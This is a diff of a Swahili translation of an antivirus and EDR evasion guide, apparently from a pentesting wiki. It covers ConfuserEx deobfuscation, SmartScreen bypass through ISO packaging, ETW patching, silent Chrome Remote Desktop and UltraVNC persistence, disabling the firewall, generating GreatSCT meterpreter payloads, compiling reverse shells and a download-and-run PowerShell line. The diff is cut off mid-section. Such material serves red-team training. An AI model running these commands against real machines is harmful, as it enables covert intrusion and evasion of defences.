kutoka Cobal Strike hutumia). -## Obfuscation + +## Kufichaji > [!TIP] -> Mbinu kadhaa za obfuscation zinategemea kupeleka data, ambayo itaongeza entropy ya binary ambayo itafanya iwe rahisi kwa AVs na EDRs kuigundua. Kuwa makini na hili na labda tumia encryption tu kwa sehemu maalum za msimbo wako ambazo ni nyeti au zinahitaji kufichwa. +> Mbinu kadhaa za kuficha zinategemea kusimbua data, jambo ambalo litaongeza entropy ya binary na kufanya iwe rahisi kwa AVs na EDRs kuigundua. Kuwa makini na hili na labda tumia usimbaji tu kwa sehemu maalum za msimbo wako ambazo ni nyeti au zinahitaji kufichwa. -### Kuondoa Ulinzi wa ConfuserEx-Protected .NET Binaries +### Deobfuscating ConfuserEx-Protected .NET Binaries -Wakati wa kuchambua malware inayotumia ConfuserEx 2 (au forks za kibiashara) ni kawaida kukutana na tabaka kadhaa za ulinzi ambazo zitazuia decompilers na sandboxes. Mchakato ulio hapa chini unarejesha kwa uaminifu **IL ya karibu-asili** ambayo inaweza kisha kutafsiriwa kuwa C# katika zana kama dnSpy au ILSpy. +Wakati wa kuchambua malware inayotumia ConfuserEx 2 (au forks za kibiashara) ni kawaida kukabiliana na tabaka kadhaa za ulinzi zitakazozuia decompilers na sandboxes. Mtiririko wa kazi ufuatao unarejesha kwa uhakika **karibu IL asili** ambayo baadaye inaweza ku-decompile kuwa C# kwa zana kama dnSpy au ILSpy. -1. Kuondoa anti-tampering – ConfuserEx inapeleka kila *mwili wa mbinu* na kupeleka ndani ya *module* static constructor (`.cctor`). Hii pia inarekebisha PE checksum hivyo mabadiliko yoyote yatavunja binary. Tumia **AntiTamperKiller** kutafuta meza za metadata zilizopelekwa, kurejesha funguo za XOR na kuandika assembly safi: +1. Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`.cctor`). Hii pia inapatch checksum ya PE kwa hivyo mabadiliko yoyote yatakata binary. Tumia **AntiTamperKiller** kutambua encrypted metadata tables, kupata XOR keys na kuandika upya assembly safi: ```bash # https://github.com/wwh1004/AntiTamperKiller python AntiTamperKiller.py Confused.exe Confused.clean.exe ``` -Matokeo yana vitu 6 vya anti-tamper (`key0-key3`, `nameHash`, `internKey`) ambavyo vinaweza kuwa na manufaa unapojenga unpacker wako. +Output ina parameters 6 za anti-tamper (`key0-key3`, `nameHash`, `internKey`) ambazo zinaweza kuwa muhimu wakati wa kujenga unpacker yako mwenyewe. -2. Kuokoa alama / mtiririko wa udhibiti – peleka faili *safi* kwa **de4dot-cex** (fork inayotambua ConfuserEx ya de4dot). +2. Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot). ```bash de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe ``` -Bendera: -• `-p crx` – chagua wasifu wa ConfuserEx 2 -• de4dot itarudisha flattening ya mtiririko wa udhibiti, kurejesha majina ya asili ya namespaces, madarasa na mabadiliko na kupeleka nyuzi za kudumu. +Flags: +• `-p crx` – select the ConfuserEx 2 profile +• de4dot itafuta control-flow flattening, kurejesha namespaces, classes na variable names za awali na kusimbua (decrypt) constant strings. -3. Kuondoa proxy-call – ConfuserEx inabadilisha wito wa moja kwa moja wa mbinu na wrappers nyepesi (pia inajulikana kama *proxy calls*) ili kuvunja zaidi decompilation. Ondoa hizo kwa **ProxyCall-Remover**: +3. Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation. Ondoa hizi kwa **ProxyCall-Remover**: ```bash ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe ``` -Baada ya hatua hii unapaswa kuona API za kawaida za .NET kama `Convert.FromBase64String` au `AES.Create()` badala ya kazi za wrapper zisizo wazi (`Class8.smethod_10`, …). +Baada ya hatua hii unapaswa kuona APIs za kawaida za .NET kama `Convert.FromBase64String` au `AES.Create()` badala ya wrapper functions zenye ghide (`Class8.smethod_10`, …). -4. Usafishaji wa mikono – endesha binary inayotokana chini ya dnSpy, tafuta blobs kubwa za Base64 au matumizi ya `RijndaelManaged`/`TripleDESCryptoServiceProvider` ili kutafuta *payload* halisi. Mara nyingi malware huifadhi kama array ya byte iliyopelekwa TLV iliyoanzishwa ndani ya `.byte_0`. +4. Manual clean-up – endesha binary iliyopatikana chini ya dnSpy, tafuta blobs kubwa za Base64 au kutumia `RijndaelManaged`/`TripleDESCryptoServiceProvider` kutambua payload halisi. Mara nyingi malware inahifadhi kama TLV-encoded byte array iliyoanzishwa ndani ya `.byte_0`. -Mnyororo ulio juu unarejesha mtiririko wa utekelezaji **bila** kuhitaji kuendesha sampuli mbaya – muhimu unapofanya kazi kwenye workstation isiyo na mtandao. +Mnyororo ulio hapo juu unarejesha mtiririko wa utekelezaji **bila** kuhitaji kuendesha sampuli hatari – inafaa kufanya kazi kwenye workstation isiyounganishwa. -> 🛈 ConfuserEx inazalisha sifa maalum inayoitwa `ConfusedByAttribute` ambayo inaweza kutumika kama IOC ili kuharakisha uchambuzi wa sampuli. +> 🛈 ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples. -#### One-liner +#### Mstari mmoja ```bash autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially ``` --- - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa toleo la chanzo wazi la [LLVM](http://www.llvm.org/) suite ya uundaji inayoweza kutoa usalama wa programu ulioimarishwa kupitia [code obfuscation]() na kuzuia mabadiliko. -- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` kutengeneza, wakati wa uundaji, msimbo uliofichwa bila kutumia zana za nje na bila kubadilisha kompyuta. -- [**obfy**](https://github.com/fritzone/obfy): Ongeza safu ya operesheni zilizofichwa zinazozalishwa na mfumo wa metaprogramming wa C++ template ambao utaifanya maisha ya mtu anayetaka kuvunja programu kuwa magumu kidogo. -- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ni obfuscator ya binary x64 inayoweza kuficha faili mbalimbali za pe ikiwa ni pamoja na: .exe, .dll, .sys -- [**metame**](https://github.com/a0rtega/metame): Metame ni injini rahisi ya msimbo wa metamorphic kwa executable zisizo na mipaka. -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni mfumo wa kuficha msimbo kwa undani kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (programming inayotegemea kurudi). ROPfuscator inaficha programu katika kiwango cha msimbo wa mkusanyiko kwa kubadilisha maagizo ya kawaida kuwa minyororo ya ROP, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida. -- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt ni .NET PE Crypter iliyoandikwa kwa Nim -- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor ina uwezo wa kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuziingiza +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa fork ya chanzo wazi ya [LLVM] compilation suite inayoweza kutoa usalama wa programu ulioimarishwa kupitia [code obfuscation] na tamper-proofing. +- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` ili kuzalisha, wakati wa compilation, msimbo uliokatwa bila kutumia zana za nje na bila kubadilisha compiler. +- [**obfy**](https://github.com/fritzone/obfy): Inaongeza safu ya operesheni zilizofichwa zinazozalishwa na C++ template metaprogramming framework ambazo zitamfanya mtu anayetaka kuvunja programu kuwa na kazi ngumu zaidi. +- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ni x64 binary obfuscator inayoweza kuficha aina mbalimbali za pe files zikiwemo: .exe, .dll, .sys +- [**metame**](https://github.com/a0rtega/metame): Metame ni metamorphic code engine rahisi kwa executables yoyote. +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni fine-grained code obfuscation framework kwa lugha zinazotungwa na LLVM kwa kutumia ROP (return-oriented programming). ROPfuscator huficha programu kwa ngazi ya assembly code kwa kubadilisha maagizo ya kawaida kuwa ROP chains, ikizuia mtazamo wetu wa kawaida wa control flow. +- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt ni .NET PE Crypter imeandikwa kwa Nim +- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor inaweza kubadilisha EXE/DLL zilizopo kuwa shellcode kisha kuzipakia ## SmartScreen & MoTW -Huenda umeshuhudia skrini hii unaposhusha baadhi ya executable kutoka mtandao na kuziendesha. +Huenda umeona skrini hii ukiwa unapakua baadhi ya executables kutoka kwenye intaneti na kuzifanya ziendeshwe. -Microsoft Defender SmartScreen ni mekanizma ya usalama iliyokusudiwa kulinda mtumiaji wa mwisho dhidi ya kuendesha programu zinazoweza kuwa na madhara. +Microsoft Defender SmartScreen ni utaratibu wa usalama uliolenga kumlinda mtumiaji wa mwisho dhidi ya kuendesha applications ambazo zinaweza kuwa zenye madhara.
-SmartScreen inafanya kazi hasa kwa njia ya msingi wa sifa, ikimaanisha kwamba programu zisizokuwa za kawaida zitazindua SmartScreen na hivyo kuonya na kuzuia mtumiaji wa mwisho kuendesha faili hiyo (ingawa faili hiyo bado inaweza kuendesha kwa kubofya More Info -> Run anyway). +SmartScreen inafanya kazi zaidi kwa njia ya msingi wa sifa (reputation-based approach), ikimaanisha kwamba applications zisizo za kawaida kupakuliwa zitatuma alama kwa SmartScreen hivyo kuonya na kuzuia mtumiaji wa mwisho kuendesha faili (ingawa faili bado zinaweza kuendeshwa kwa kubofya More Info -> Run anyway). -**MoTW** (Mark of The Web) ni [NTFS Alternate Data Stream]() yenye jina la Zone.Identifier ambayo huundwa kiotomatiki wakati wa kushusha faili kutoka mtandao, pamoja na URL ambayo ilishushwa kutoka. +**MoTW** (Mark of The Web) ni [NTFS Alternate Data Stream]() yenye jina la Zone.Identifier ambayo huundwa moja kwa moja wakati wa kupakua faili kutoka kwenye intaneti, pamoja na URL ambayo ilipakuliwa kutoka. -

Kukagua Zone.Identifier ADS kwa faili iliyoshushwa kutoka mtandao.

+

Ukaguzi wa Zone.Identifier ADS kwa faili iliyopakuliwa kutoka kwenye intaneti.

> [!TIP] -> Ni muhimu kutambua kwamba executable zilizosainiwa kwa cheti cha **kuaminika** **hazitazindua SmartScreen**. +> Ni muhimu kutambua kuwa executables zilizotiwa sahihi na cheti cha kusaini cha **trusted** hazitachochea SmartScreen. -Njia yenye ufanisi sana ya kuzuia payloads zako kupata Mark of The Web ni kwa kuzifunga ndani ya aina fulani ya kontena kama ISO. Hii inatokea kwa sababu Mark-of-the-Web (MOTW) **haiwezi** kutumika kwa **volumu zisizo za NTFS**. +Njia yenye ufanisi sana ya kuzuia payloads zako kupata Mark of The Web ni kuzipakia ndani ya aina fulani ya container kama ISO. Hii hutokea kwa sababu Mark-of-the-Web (MOTW) **hawezi** kutumika kwenye volumes zisizo za **NTFS**.
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) ni zana inayofunga payloads katika kontena za matokeo ili kuepuka Mark-of-the-Web. +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) ni zana inayopakia payloads ndani ya output containers ili kuruka Mark-of-the-Web. -Mfano wa matumizi: +Example usage: ```bash PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso @@ -328,50 +329,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files ## ETW -Event Tracing for Windows (ETW) ni mekanizma yenye nguvu ya kurekodi katika Windows inayoruhusu programu na vipengele vya mfumo **kurekodi matukio**. Hata hivyo, inaweza pia kutumika na bidhaa za usalama kufuatilia na kugundua shughuli mbaya. +Event Tracing for Windows (ETW) ni mfumo wenye nguvu wa logging kwenye Windows ambao unaruhusu applications na system components **kurekodi matukio**. Hata hivyo, pia inaweza kutumika na security products kufuatilia na kugundua shughuli za kibaya. -Kama ilivyo kwa jinsi AMSI inavyoweza kuzuiwa (kuzidiwa), pia inawezekana kufanya kazi ya **`EtwEventWrite`** ya mchakato wa nafasi ya mtumiaji irejee mara moja bila kurekodi matukio yoyote. Hii inafanywa kwa kubadilisha kazi hiyo katika kumbukumbu ili irejee mara moja, kwa ufanisi ikizuiya kurekodi ETW kwa mchakato huo. +Kama AMSI inavyoweza kuzimwa (bypassed), pia inawezekana kufanya function ya user space process **`EtwEventWrite`** irudishe mara moja bila kurekodi matukio yoyote. Hii hufanywa kwa ku-patch function hiyo katika memory ili irudishe mara moja, kwa ufanisi kuzima ETW logging kwa process hiyo. + +Unaweza kupata taarifa zaidi kwenye **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**. -Unaweza kupata maelezo zaidi katika **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**. ## C# Assembly Reflection -Kuingiza binaries za C# katika kumbukumbu kumekuwa kujulikana kwa muda mrefu na bado ni njia nzuri sana ya kuendesha zana zako za baada ya unyakuzi bila kukamatwa na AV. +Ku-load binaries za C# kwenye memory kumejulikana kwa muda mrefu na bado ni njia nzuri kwa kuendesha post-exploitation tools bila kugunduliwa na AV. -Kwa kuwa payload itapakiwa moja kwa moja katika kumbukumbu bila kugusa diski, tutahitaji tu kuwa na wasiwasi kuhusu kubadilisha AMSI kwa mchakato mzima. +Kwa kuwa payload itapakiwa moja kwa moja ndani ya memory bila kugusa disk, tutalazimika tu kuwa na wasiwasi kuhusu ku-patch AMSI kwa process nzima. -Mifumo mingi ya C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, nk.) tayari inatoa uwezo wa kutekeleza makusanyo ya C# moja kwa moja katika kumbukumbu, lakini kuna njia tofauti za kufanya hivyo: +Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) tayari zinatoa uwezo wa kutekeleza C# assemblies moja kwa moja ndani ya memory, lakini kuna njia tofauti za kufanya hivyo: - **Fork\&Run** -Inahusisha **kuanzisha mchakato mpya wa dhabihu**, ingiza msimbo wako mbaya wa baada ya unyakuzi katika mchakato huo mpya, tekeleza msimbo wako mbaya na unapomaliza, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika **nje** ya mchakato wetu wa Beacon implant. Hii inamaanisha kwamba ikiwa kitu katika hatua zetu za baada ya unyakuzi kitatokea vibaya au kukamatwa, kuna **uwezekano mkubwa zaidi** wa **implant yetu kuishi.** Hasara ni kwamba una **uwezekano mkubwa zaidi** wa kukamatwa na **Mikakati ya Tabia**. +Inahusisha **kuzalisha process mpya ya dhabihu**, ku-inject code yako ya post-exploitation kwenye process hiyo mpya, kutekeleza code yako ya kibaya na baada ya kumaliza, kuua process mpya. Hii ina faida zake na hasara zake. Faida ya method ya fork and run ni kwamba utekelezaji unafanyika **nje** ya Beacon implant process yetu. Hii inamaanisha kwamba kama jambo fulani katika vitendo vyetu vya post-exploitation litashindikana au kugunduliwa, kuna **nafuu kubwa zaidi** ya **implant yetu kuishi.** Hasara ni kwamba una **mazingira makubwa** ya kugunduliwa na **Behavioural Detections**.
- **Inline** -Ni kuhusu kuingiza msimbo mbaya wa baada ya unyakuzi **katika mchakato wake mwenyewe**. Kwa njia hii, unaweza kuepuka kuunda mchakato mpya na kuupitisha kwa AV, lakini hasara ni kwamba ikiwa kitu kitatokea vibaya na utekelezaji wa payload yako, kuna **uwezekano mkubwa zaidi** wa **kupoteza beacon yako** kwani inaweza kuanguka. +Ni kuhusu ku-inject code ya post-exploitation ya kibaya **ndani ya process yake yenyewe**. Kwa njia hii, unaweza kuepuka kuunda process mpya na kuifanya iseshewe na AV, lakini hasara ni kwamba ikiwa kitu kitashindikana na utekelezaji wa payload, kuna **nafuu kubwa zaidi** ya **kupoteza beacon** kwani inaweza ku-crash.
> [!TIP] -> Ikiwa unataka kusoma zaidi kuhusu upakiaji wa C# Assembly, tafadhali angalia makala hii [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) na BOF yao ya InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) +> Ikiwa ungependa kusoma zaidi kuhusu ku-load C# Assembly, tafadhali angalia makala hii [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) na InlineExecute-Assembly BOF yao ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) -Unaweza pia kupakia C# Assemblies **kutoka PowerShell**, angalia [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) na [video ya S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk). +Unaweza pia ku-load C# Assemblies **from PowerShell**, angalia [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) na video ya [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk). ## Using Other Programming Languages -Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyoathirika ufikiaji **wa mazingira ya tafsiri yaliyoanzishwa kwenye sehemu ya SMB inayodhibitiwa na Mshambuliaji**. +Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza code ya kibaya kwa kutumia lugha nyingine kwa kumpa mashine iliyodukuliwa ufikiaji **kwa interpreter environment iliyowekwa kwenye Attacker Controlled SMB share**. -Kwa kuruhusu ufikiaji wa Binaries za Mfasiri na mazingira kwenye sehemu ya SMB unaweza **kutekeleza msimbo wowote katika hizi lugha ndani ya kumbukumbu** ya mashine iliyoathirika. +Kwa kuruhusu ufikiaji wa Interpreter Binaries na environment kwenye SMB share unaweza **kutekeleza code yoyote katika lugha hizi ndani ya memory** ya mashine iliyodukuliwa. -Repo inaonyesha: Defender bado inachunguza scripts lakini kwa kutumia Go, Java, PHP nk tuna **uwezo zaidi wa kupita saini za statiki**. Kujaribu na scripts za shell za nyuma zisizo na ufichuzi katika hizi lugha kumethibitishwa kuwa na mafanikio. +Repo inataja: Defender bado inascans scripts lakini kwa kutumia Go, Java, PHP n.k. tunapata **uwezo zaidi wa kuepuka static signatures**. Mtihani na reverse shell scripts za nasibu zisizo-obfuscated katika lugha hizi umeonyesha mafanikio. ## TokenStomping -Token stomping ni mbinu inayoruhusu mshambuliaji **kubadilisha token ya ufikiaji au bidhaa ya usalama kama EDR au AV**, ikiwaruhusu kupunguza haki zake ili mchakato usife lakini hautakuwa na ruhusa ya kuangalia shughuli mbaya. +Token stomping ni teknik ambayo inawawezesha attacker **kuchezea access token au product ya usalama kama EDR au AV**, kuwawezesha kupunguza privileges zake ili process isife lakini isiwe na ruhusa za kukagua shughuli za kibaya. -Ili kuzuia hili Windows inaweza **kuzuia michakato ya nje** kupata kushughulikia token za michakato ya usalama. +Ili kuzuia hili Windows inaweza **kuzuia processes za nje** kupata handles za tokens za processes za usalama. - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) @@ -381,25 +383,28 @@ Ili kuzuia hili Windows inaweza **kuzuia michakato ya nje** kupata kushughulikia ### Chrome Remote Desktop -Kama ilivyoelezwa katika [**hiki kipande cha blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), ni rahisi tu kupeleka Chrome Remote Desktop katika PC ya mwathirika na kisha kuitumia kuchukua na kudumisha uthibitisho: -1. Pakua kutoka https://remotedesktop.google.com/, bonyeza "Set up via SSH", na kisha bonyeza kwenye faili ya MSI kwa Windows ili kupakua faili ya MSI. -2. Endesha installer kimya kimya katika mwathirika (mwandamizi inahitajika): `msiexec /i chromeremotedesktophost.msi /qn` -3. Rudi kwenye ukurasa wa Chrome Remote Desktop na bonyeza next. Mchawi atakuuliza kuidhinisha; bonyeza kitufe cha Authorize kuendelea. -4. Tekeleza parameter iliyotolewa na marekebisho fulani: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Kumbuka parameter ya pin ambayo inaruhusu kuweka pin bila kutumia GUI). +Kama ilivyoelezwa katika [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), ni rahisi tu ku-deploy Chrome Remote Desktop kwenye PC ya kushambuliwa kisha kuitumia kumiliki na kudumisha persistence: +1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file. +2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn` +3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue. +4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin withuot using the GUI). + ## Advanced Evasion -Evasion ni mada ngumu sana, wakati mwingine unahitaji kuzingatia vyanzo vingi tofauti vya telemetry katika mfumo mmoja, hivyo ni karibu haiwezekani kubaki bila kugundulika katika mazingira yaliyoendelea. +Evasion ni mada ngumu sana, wakati mwingine unahitaji kuzingatia vyanzo vingi tofauti vya telemetry ndani ya mfumo mmoja, hivyo kwa kawaida haiwezekani kubaki bila kugunduliwa kabisa katika mazingira yaliyokomaa. -Kila mazingira unayokabiliana nayo yatakuwa na nguvu na udhaifu wake. +Kila mazingira utakayokutana nayo itakuwa na nguvu na udhaifu wake wenyewe. + +Ninakuhimiza uangalie hotuba hii kutoka kwa [@ATTL4S](https://twitter.com/DaniLJ94), ili kupata ufahamu wa mbinu zaidi za Advanced Evasion. -Ninawashauri sana uende uangalie hotuba hii kutoka [@ATTL4S](https://twitter.com/DaniLJ94), ili kupata ufahamu wa mbinu za juu za Evasion. {{#ref}} https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo {{#endref}} -hii pia ni hotuba nyingine nzuri kutoka [@mariuszbit](https://twitter.com/mariuszbit) kuhusu Evasion kwa Kina. +Hii pia ni hotuba nzuri kutoka kwa [@mariuszbit](https://twitter.com/mariuszbit) kuhusu Evasion in Depth. + {{#ref}} https://www.youtube.com/watch?v=IbA7Ung39o4 @@ -409,49 +414,49 @@ https://www.youtube.com/watch?v=IbA7Ung39o4 ### **Check which parts Defender finds as malicious** -Unaweza kutumia [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) ambayo it **ondoa sehemu za binary** hadi **ipate sehemu ambayo Defender** inakuta kuwa mbaya na kuigawanya kwako.\ -Zana nyingine inayofanya **kitu sawa ni** [**avred**](https://github.com/dobin/avred) ikiwa na wavuti wazi inayotoa huduma katika [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) +Unaweza kutumia [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) ambayo ita **ondoa sehemu za binary** mpaka itakapogundua ni **sehemu gani Defender** inaona kama ya kibaya na ikigawanye kwako.\ +Zana nyingine inafanya **kazi hiyo hiyo ni** [**avred**](https://github.com/dobin/avred) yenye huduma wazi mtandaoni kwenye [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) ### **Telnet Server** -Hadi Windows10, Windows zote zilikuja na **Telnet server** ambayo unaweza kusanidi (kama msimamizi) kwa kufanya: +Hadi Windows10, Windows zote zilitoka na **Telnet server** ambayo unaweza kusakinisha (kama administrator) ukifanya: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` -Fanya iwe **anzishwe** wakati mfumo unapoanzishwa na **iendeshe** sasa: +Fanya **ianze** wakati mfumo unapoanzishwa na **ikimbie** sasa: ```bash sc config TlntSVR start= auto obj= localsystem ``` -**Badilisha bandari ya telnet** (stealth) na kuzima firewall: +**Badilisha bandari ya telnet** (isiyogundulika) na zima firewall: ``` tlntadmn config port=80 netsh advfirewall set allprofiles state off ``` ### UltraVNC -Pakua kutoka: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (unataka pakua bin, si usanidi) +Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (unataka bin downloads, sio setup) -**KATIKA HOST**: Tekeleza _**winvnc.exe**_ na uweke server: +**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server: -- Wezesha chaguo _Disable TrayIcon_ +- Washa chaguo _Disable TrayIcon_ - Weka nenosiri katika _VNC Password_ - Weka nenosiri katika _View-Only Password_ -Kisha, hamasisha binary _**winvnc.exe**_ na faili **mpya** iliyoundwa _**UltraVNC.ini**_ ndani ya **mhasiriwa** +Then, move the binary _**winvnc.exe**_ and **mpya** created file _**UltraVNC.ini**_ inside the **victim** -#### **Muunganisho wa kurudi** +#### **Reverse connection** -**Mshambuliaji** anapaswa **kutekeleza ndani** ya **host** yake binary `vncviewer.exe -listen 5900` ili iwe **tayari** kukamata muunganisho wa kurudi **VNC**. Kisha, ndani ya **mhasiriwa**: Anza daemon ya winvnc `winvnc.exe -run` na endesha `winwnc.exe [-autoreconnect] -connect ::5900` +The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect ::5900` -**ONYESHO:** Ili kudumisha usiri huwezi kufanya mambo machache +**WARNING:** Ili kudumisha stealth, lazima usifanye mambo kadhaa -- Usianze `winvnc` ikiwa tayari inaendesha au utaanzisha [popup](https://i.imgur.com/1SROTTl.png). angalia ikiwa inaendesha kwa `tasklist | findstr winvnc` -- Usianze `winvnc` bila `UltraVNC.ini` katika saraka sawa au itasababisha [dirisha la usanidi](https://i.imgur.com/rfMQWcf.png) kufunguka -- Usikimbie `winvnc -h` kwa msaada au utaanzisha [popup](https://i.imgur.com/oc18wcu.png) +- Usianze `winvnc` ikiwa tayari inaendeshwa au utaamsha a [popup](https://i.imgur.com/1SROTTl.png). Angalia ikiwa inaendeshwa na `tasklist | findstr winvnc` +- Usianze `winvnc` bila `UltraVNC.ini` katika directory moja au itasababisha [the config window](https://i.imgur.com/rfMQWcf.png) kufunguka +- Usiendeshe `winvnc -h` kwa msaada au utaamsha a [popup](https://i.imgur.com/oc18wcu.png) ### GreatSCT -Pakua kutoka: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) +Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) ``` git clone https://github.com/GreatSCT/GreatSCT.git cd GreatSCT/setup/ @@ -469,19 +474,19 @@ sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` -Sasa **anzisha lister** na `msfconsole -r file.rc` na **tekeleza** **xml payload** na: +Sasa **anzisha lister** na `msfconsole -r file.rc` na **endesha** **xml payload** kwa: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` -**Mlinzi wa sasa atamaliza mchakato haraka sana.** +**Defender wa sasa atakata mchakato kwa haraka sana.** -### Kuunda shell yetu ya kurudi +### Kucompile reverse shell yetu https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15 -#### Revershell ya Kwanza ya C# +#### C# Revershell ya kwanza -Ili kuunda, tumia: +I-compile kwa: ``` c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt ``` @@ -562,7 +567,7 @@ catch (Exception err) { } } } ``` -### C# kutumia kompyuta +### C# kwa kutumia compiler ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt ``` @@ -582,7 +587,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f {{#endref}} -Orodha ya obfuscators wa C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) +Orodha ya obfuscators za C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) ### C++ ``` @@ -630,26 +635,26 @@ https://github.com/praetorian-code/vulcan - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) -## Leta Dereva Lako Lenye Uthibitisho (BYOVD) – Kuua AV/EDR Kutoka kwa Kernel Space +## Bring Your Own Vulnerable Driver (BYOVD) – Kuondoa AV/EDR kutoka Kernel Space -Storm-2603 ilitumia zana ndogo ya console inayojulikana kama **Antivirus Terminator** kuondoa ulinzi wa mwisho kabla ya kuachilia ransomware. Zana 